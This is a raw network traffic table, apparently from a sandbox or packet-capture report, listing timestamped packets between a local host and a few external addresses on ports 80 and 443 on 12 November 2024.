Nov 12, 2024 10:37:08.056464911 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.056502104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.056515932 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.056525946 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.056539059 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.056550980 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.056617022 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.056618929 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.056633949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.056637049 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.056674957 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.057063103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.057075024 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.057122946 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.057189941 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.057229042 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.057245970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.057259083 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.057286978 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.057302952 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.057353020 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.057393074 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.084614992 CET	443	49704	173.222.162.64	192.168.2.6
Nov 12, 2024 10:37:08.084892035 CET	49704	443	192.168.2.6	173.222.162.64
Nov 12, 2024 10:37:08.092511892 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.092545986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.092566967 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.092571974 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.092590094 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.092613935 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.092933893 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.092984915 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.092994928 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.093007088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.093053102 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.093115091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.093156099 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.093194962 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.093209028 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.093236923 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.093256950 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.093317986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.093373060 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.093416929 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.093429089 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.093457937 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.093470097 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.093991995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.094034910 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.094043016 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.094050884 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.094079971 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.094094038 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.094156027 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.094211102 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.140477896 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.140492916 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.140505075 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.140516996 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.140563965 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.140722990 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.173233986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.173288107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.173300028 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.173311949 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.173327923 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.173360109 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.173423052 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.173437119 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.173470974 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.173540115 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.173563957 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.173588991 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.173614025 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.173654079 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.173701048 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.173738956 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.173751116 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.173783064 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.173814058 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.173856974 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.174159050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.174227953 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.174230099 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.174243927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.174274921 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.174285889 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.209561110 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.209593058 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.209605932 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.209955931 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.210082054 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.210139990 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.210155010 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.210165977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.210200071 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.210213900 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.210232973 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.210300922 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.210323095 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.210335970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.210371017 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.210493088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.210505962 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.210516930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.210542917 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.210558891 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.211082935 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.211131096 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.211143017 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.211153984 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.211189985 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.211395979 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.211442947 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.211461067 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.211472034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.211505890 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.211519957 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.257391930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.257442951 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.257452965 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.257482052 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.257519960 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.257711887 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.290442944 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.290487051 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.290501118 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.290605068 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.290618896 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.290708065 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.290750980 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.290766954 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.290777922 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.290893078 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.290904045 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.290915966 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.290926933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.290997028 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.291090965 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.291101933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.291156054 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.326509953 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.326539040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.326550961 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.326747894 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.326747894 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.327039957 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.327090025 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.327116013 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.327127934 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.327162981 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.327178001 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.327231884 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.327279091 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.327297926 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.327347994 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.327370882 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.327382088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.327421904 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.327601910 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.327649117 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.327670097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.327682972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.327716112 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.327783108 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.327826977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.328068972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.328115940 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.328134060 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.328146935 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.328178883 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.328402996 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.328444004 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.328448057 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.328459978 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.328488111 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.328504086 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.374584913 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.374628067 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.374639988 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.374651909 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.374703884 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.374914885 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.407541037 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.407579899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.407593012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.407619953 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.407694101 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.407707930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.407723904 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.407744884 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.407752991 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.407787085 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.407881021 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.407893896 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.407906055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.407917023 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.407921076 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.407943010 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.407968044 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.408166885 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.408224106 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.408246040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.408257008 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.408293962 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.408303976 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.408354998 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.408402920 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.443572044 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.443645954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.443676949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.443690062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.443701029 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.443722963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.443742990 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.444031954 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.444042921 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.444076061 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.444084883 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.444119930 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.444127083 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.444165945 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.444251060 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.444281101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.444297075 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.444318056 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.444359064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.444405079 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.444446087 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.444464922 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.444494009 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.444514036 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.444633007 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.444684982 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.444705009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.444716930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.444745064 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.444755077 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.444811106 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.444858074 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.445046902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.445091009 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.445127964 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.445141077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.445171118 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.445267916 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.445281982 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.445286989 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.445302963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.445334911 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.491780996 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.491816998 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.491831064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.491842985 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.491863966 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.491877079 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.524743080 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.524774075 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.524786949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.524859905 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.524924040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.524938107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.524954081 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.524966955 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.524996996 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.525043011 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.525057077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.525082111 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.525094986 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.525175095 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.525188923 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.525202036 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.525216103 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.525243998 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.525430918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.525444031 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.525456905 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.525470018 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.525480032 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.525513887 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.525851011 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.525902987 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.537039995 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:08.537096977 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:08.537178040 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:08.537477016 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:08.537493944 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:08.560707092 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.560729027 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.560743093 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.560941935 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.560941935 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.561145067 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.561202049 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.561203003 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.561214924 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.561248064 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.561260939 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.561295986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.561309099 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.561345100 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.561455011 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.561466932 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.561506987 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.561621904 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.561650038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.561664104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.561674118 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.561702967 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.561759949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.561805010 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.561985016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.562036037 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.562058926 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.562072992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.562108994 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.562120914 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.562328100 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.562341928 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.562377930 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.562391996 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.603569031 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.603586912 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.603691101 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.608730078 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.608748913 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.608762026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.608828068 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.608845949 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.641920090 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.641941071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.641978979 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.641990900 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.642004013 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.642016888 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.642122030 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.642141104 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.642152071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:08.642235994 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:08.642235994 CET	49709	80	192.168.2.6	185.215.113.206
